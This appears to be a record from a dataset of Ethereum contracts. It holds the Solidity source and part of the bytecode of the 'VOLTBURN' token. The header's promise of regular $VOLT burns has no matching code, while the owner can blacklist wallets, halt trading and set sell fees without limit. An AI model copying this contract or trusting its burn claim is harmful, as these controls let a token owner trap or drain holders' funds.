4cd314f3243227bc721164c8bef0efd53317c181565b60035481565b7f797cfab58fcb15f590eb8e4252d5c228ff88f94f907e119e80c4393a946e8f3581565b6001600160a01b0383166000818152600460209081526040808320338085529252822054919290919082148015906103da57506000198114155b156104555760006103eb8583610c64565b6001600160a01b03808916600081815260046020908152604080832094891680845294909152908190208490555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061044b908590610b0e565b60405180910390a3505b6104608686866108e9565b50600195945050505050565b7f5fae9ec55a1e547936e0e74d606b44cd5f912f9adcd0bba561fea62d570259e981565b60025460ff1681565b336001600160a01b037f000000000000000000000000859de254ba136e2bebe890e8aa110a588841d89616146104ce57600080fd5b80600360008282546104e09190610c4c565b90915550506001600160a01b0382166000908152600560205260408120805483929061050d908490610c4c565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610550908590610b0e565b60405180910390a35050565b6001600160a01b0381166000908152600560205260409020545b919050565b60066020526000908152604090205481565b6001805461026790610c7b565b336001600160a01b037f000000000000000000000000859de254ba136e2bebe890e8aa110a588841d89616146105cf57600080fd5b80600360008282546105e19190610c64565b90915550506001600160a01b0382166000908152600560205260408120805483929061060e908490610c64565b90915550506040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610550908590610b0e565b600061065e3384846108e9565b50600192915050565b7f000000000000000000000000859de254ba136e2bebe890e8aa110a588841d89681565b6001600160a01b038716600090815260066020526040812080547f5fae9ec55a1e547936e0e74d606b44cd5f912f9adcd0bba561fea62d570259e9918a918a918a9190866106d883610cb6565b91905055896040516020016106f296959493929190610b17565b60405160208183030381529060405280519060200120905060007fce2f3d0cc57fc0558a92f2310f4cd314f3243227bc721164c8bef0efd53317c18260405160200161073f929190610ad4565b60405160208183030381529060405280519060200120905060006001828787876040516000815260200160405260405161077c9493929190610b4b565b6020604051602081039080840390855afa15801561079e573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166107da5760405162461bcd60e51b81526004016107d190610c13565b60405180910390fd5b896001600160a01b0316816001600160a01b03161461080b5760405162461bcd60e51b81526004016107d190610be5565b8642111561082b5760405162461bcd60e51b81526004016107d190610bbc565b6001600160a01b03808b166000818152600460209081526040808320948e1680845294909152908190208b9055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610886908c90610b0e565b60405180910390a350505050505050505050565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6001600160a01b03831660009081526005602052604081208054839290610911908490610c64565b90915550506001600160a01b0382166000908152600560205260408120805483929061093e908490610c4c565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109889190610b0e565b60405180910390a3505050565b80356001600160a01b038116811461057657600080fd5b6000602082840312156109bd578081fd5b6109c682610995565b9392505050565b600080604083850312156109df578081fd5b6109e883610995565b91506109f660208401610995565b90509250929050565b600080600060608486031215610a13578081fd5b610a1c84610995565b9250610a2a60208501610995565b9150604084013590509250925092565b600080600080600080600060e0888a031215610a54578283fd5b610a5d88610995565b9650610a6b60208901610995565b95506040880135945060608801359350608088013560ff81168114610a8e578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215610abd578182fd5b610ac683610995565b946020939093013593505050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015610b9557858101830151858201604001528201610b79565b81811115610ba65783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600f908201526e1c195c9b5a5d0e88195e1c1a5c9959608a1b604082015260600190565b6020808252601490820152731c195c9b5a5d0e881d5b985d5d1a1bdc9a5e995960621b604082015260600190565b6020808252601190820152707065726d69743a207369676e617475726560781b604082015260600190565b60ff91909116815260200190565b60008219821115610c5f57610c5f610cd1565b500190565b600082821015610c7657610c76610cd1565b500390565b600281046001821680610c8f57607f821691505b60208210811415610cb057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610cca57610cca610cd1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220a15479c19e4443a161292d77e446778c33d5cf4f00f905fbe00c4271dc64f1d264736f6c63430008010033
{"success": true, "error": null, "results": {}}
5,416
0xf9e3bf0b93dc132866cee326dc7e53e27d5bf70b
/* VOLTBURN - Capitalizing on the success of volt through burning $VOLT every 30 minutes */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address ownershipRenounced) public virtual onlyOwner { require(ownershipRenounced != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, ownershipRenounced); _owner = ownershipRenounced; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract VOLTBURN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "VOLT BURN"; string private constant _symbol = "VOLTBURN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; // uint256 private _taxFeeOnBuy = 0; // no buy tax //Sell Fee uint256 private _redisFeeOnSell = 0; // uint256 private _taxFeeOnSell = 5; // 5% sell tax //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x12a6a8F5A5A2d21e3e2f46370F0492DBcAa0Ed2A);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x12a6a8F5A5A2d21e3e2f46370F0492DBcAa0Ed2A);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000000000 * 10**9; // uint256 public _maxWalletSize = 100000000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104165780638f9a55c01461043657806395d89b411461044c57806398a5c3151461047d57600080fd5b806374010ece146103c25780637d1db4a5146103e25780638da5cb5b146103f857600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103585780636fc3eaec1461037857806370a082311461038d578063715018a6146103ad57600080fd5b8063313ce567146102fc57806349bd5a5e146103185780636b9990531461033857600080fd5b80631694505e116101a05780631694505e1461026757806318160ddd1461029f57806323b872dd146102c65780632fd689e3146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023757600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611af2565b6105c8565b005b3480156101ff57600080fd5b506040805180820190915260098152682b27a62a10212aa92760b91b60208201525b60405161022e9190611c1c565b60405180910390f35b34801561024357600080fd5b50610257610252366004611a48565b610675565b604051901515815260200161022e565b34801561027357600080fd5b50601454610287906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b3480156102ab57600080fd5b5069152d02c7e14af68000005b60405190815260200161022e565b3480156102d257600080fd5b506102576102e1366004611a08565b61068c565b3480156102f257600080fd5b506102b860185481565b34801561030857600080fd5b506040516009815260200161022e565b34801561032457600080fd5b50601554610287906001600160a01b031681565b34801561034457600080fd5b506101f1610353366004611998565b6106f5565b34801561036457600080fd5b506101f1610373366004611bb9565b610740565b34801561038457600080fd5b506101f1610788565b34801561039957600080fd5b506102b86103a8366004611998565b6107d3565b3480156103b957600080fd5b506101f16107f5565b3480156103ce57600080fd5b506101f16103dd366004611bd3565b610869565b3480156103ee57600080fd5b506102b860165481565b34801561040457600080fd5b506000546001600160a01b0316610287565b34801561042257600080fd5b506101f1610431366004611bb9565b610898565b34801561044257600080fd5b506102b860175481565b34801561045857600080fd5b506040805180820190915260088152672b27a62a212aa92760c11b6020820152610221565b34801561048957600080fd5b506101f1610498366004611bd3565b6108e0565b3480156104a957600080fd5b506101f16104b8366004611beb565b61090f565b3480156104c957600080fd5b506102576104d8366004611a48565b61094d565b3480156104e957600080fd5b506102576104f8366004611998565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101f161095a565b34801561052e57600080fd5b506101f161053d366004611a73565b6109ae565b34801561054e57600080fd5b506102b861055d3660046119d0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101f16105a3366004611bd3565b610a5d565b3480156105b457600080fd5b506101f16105c3366004611998565b610a8c565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611c6f565b60405180910390fd5b60005b81518110156106715760016010600084848151811061062d57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066981611d82565b9150506105fe565b5050565b6000610682338484610b76565b5060015b92915050565b6000610699848484610c9a565b6106eb84336106e685604051806060016040528060288152602001611ddf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d6565b610b76565b5060019392505050565b6000546001600160a01b0316331461071f5760405162461bcd60e51b81526004016105f290611c6f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461076a5760405162461bcd60e51b81526004016105f290611c6f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107bd57506013546001600160a01b0316336001600160a01b0316145b6107c657600080fd5b476107d081611210565b50565b6001600160a01b03811660009081526002602052604081205461068690611295565b6000546001600160a01b0316331461081f5760405162461bcd60e51b81526004016105f290611c6f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108935760405162461bcd60e51b81526004016105f290611c6f565b601655565b6000546001600160a01b031633146108c25760405162461bcd60e51b81526004016105f290611c6f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090a5760405162461bcd60e51b81526004016105f290611c6f565b601855565b6000546001600160a01b031633146109395760405162461bcd60e51b81526004016105f290611c6f565b600893909355600a91909155600955600b55565b6000610682338484610c9a565b6012546001600160a01b0316336001600160a01b0316148061098f57506013546001600160a01b0316336001600160a01b0316145b61099857600080fd5b60006109a3306107d3565b90506107d081611319565b6000546001600160a01b031633146109d85760405162461bcd60e51b81526004016105f290611c6f565b60005b82811015610a57578160056000868685818110610a0857634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a1d9190611998565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4f81611d82565b9150506109db565b50505050565b6000546001600160a01b03163314610a875760405162461bcd60e51b81526004016105f290611c6f565b601755565b6000546001600160a01b03163314610ab65760405162461bcd60e51b81526004016105f290611c6f565b6001600160a01b038116610b1b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610c395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610d605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610dc25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610dee57506000546001600160a01b03838116911614155b156110cf57601554600160a01b900460ff16610e87576000546001600160a01b03848116911614610e875760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b601654811115610ed95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1b57506001600160a01b03821660009081526010602052604090205460ff16155b610f735760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b03838116911614610ff85760175481610f95846107d3565b610f9f9190611d14565b10610ff85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b6000611003306107d3565b60185460165491925082101590821061101c5760165491505b8080156110335750601554600160a81b900460ff16155b801561104d57506015546001600160a01b03868116911614155b80156110625750601554600160b01b900460ff165b801561108757506001600160a01b03851660009081526005602052604090205460ff16155b80156110ac57506001600160a01b03841660009081526005602052604090205460ff16155b156110cc576110ba82611319565b4780156110ca576110ca47611210565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111157506001600160a01b03831660009081526005602052604090205460ff165b8061114357506015546001600160a01b0385811691161480159061114357506015546001600160a01b03848116911614155b15611150575060006111ca565b6015546001600160a01b03858116911614801561117b57506014546001600160a01b03848116911614155b1561118d57600854600c55600954600d555b6015546001600160a01b0384811691161480156111b857506014546001600160a01b03858116911614155b156111ca57600a54600c55600b54600d555b610a57848484846114be565b600081848411156111fa5760405162461bcd60e51b81526004016105f29190611c1c565b5060006112078486611d6b565b95945050505050565b6012546001600160a01b03166108fc61122a8360026114ec565b6040518115909202916000818181858888f19350505050158015611252573d6000803e3d6000fd5b506013546001600160a01b03166108fc61126d8360026114ec565b6040518115909202916000818181858888f19350505050158015610671573d6000803e3d6000fd5b60006006548211156112fc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b600061130661152e565b905061131283826114ec565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c357600080fd5b505afa1580156113d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fb91906119b4565b8160018151811061141c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114429130911684610b76565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061147b908590600090869030904290600401611ca4565b600060405180830381600087803b15801561149557600080fd5b505af11580156114a9573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114cb576114cb611551565b6114d684848461157f565b80610a5757610a57600e54600c55600f54600d55565b600061131283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611676565b600080600061153b6116a4565b909250905061154a82826114ec565b9250505090565b600c541580156115615750600d54155b1561156857565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611591876116e8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c39087611745565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f29086611787565b6001600160a01b038916600090815260026020526040902055611614816117e6565b61161e8483611830565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166391815260200190565b60405180910390a3505050505050505050565b600081836116975760405162461bcd60e51b81526004016105f29190611c1c565b5060006112078486611d2c565b600654600090819069152d02c7e14af68000006116c182826114ec565b8210156116df5750506006549269152d02c7e14af680000092509050565b90939092509050565b60008060008060008060008060006117058a600c54600d54611854565b925092509250600061171561152e565b905060008060006117288e8787876118a9565b919e509c509a509598509396509194505050505091939550919395565b600061131283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d6565b6000806117948385611d14565b9050838110156113125760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b60006117f061152e565b905060006117fe83836118f9565b3060009081526002602052604090205490915061181b9082611787565b30600090815260026020526040902055505050565b60065461183d9083611745565b60065560075461184d9082611787565b6007555050565b600080808061186e606461186889896118f9565b906114ec565b9050600061188160646118688a896118f9565b90506000611899826118938b86611745565b90611745565b9992985090965090945050505050565b60008080806118b888866118f9565b905060006118c688876118f9565b905060006118d488886118f9565b905060006118e6826118938686611745565b939b939a50919850919650505050505050565b60008261190857506000610686565b60006119148385611d4c565b9050826119218583611d2c565b146113125760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b803561198381611dc9565b919050565b8035801515811461198357600080fd5b6000602082840312156119a9578081fd5b813561131281611dc9565b6000602082840312156119c5578081fd5b815161131281611dc9565b600080604083850312156119e2578081fd5b82356119ed81611dc9565b915060208301356119fd81611dc9565b809150509250929050565b600080600060608486031215611a1c578081fd5b8335611a2781611dc9565b92506020840135611a3781611dc9565b929592945050506040919091013590565b60008060408385031215611a5a578182fd5b8235611a6581611dc9565b946020939093013593505050565b600080600060408486031215611a87578283fd5b833567ffffffffffffffff80821115611a9e578485fd5b818601915086601f830112611ab1578485fd5b813581811115611abf578586fd5b8760208260051b8501011115611ad3578586fd5b602092830195509350611ae99186019050611988565b90509250925092565b60006020808385031215611b04578182fd5b823567ffffffffffffffff80821115611b1b578384fd5b818501915085601f830112611b2e578384fd5b813581811115611b4057611b40611db3565b8060051b604051601f19603f83011681018181108582111715611b6557611b65611db3565b604052828152858101935084860182860187018a1015611b83578788fd5b8795505b83861015611bac57611b9881611978565b855260019590950194938601938601611b87565b5098975050505050505050565b600060208284031215611bca578081fd5b61131282611988565b600060208284031215611be4578081fd5b5035919050565b60008060008060808587031215611c00578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4857858101830151858201604001528201611c2c565b81811115611c595783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cf35784516001600160a01b031683529383019391830191600101611cce565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2757611d27611d9d565b500190565b600082611d4757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6657611d66611d9d565b500290565b600082821015611d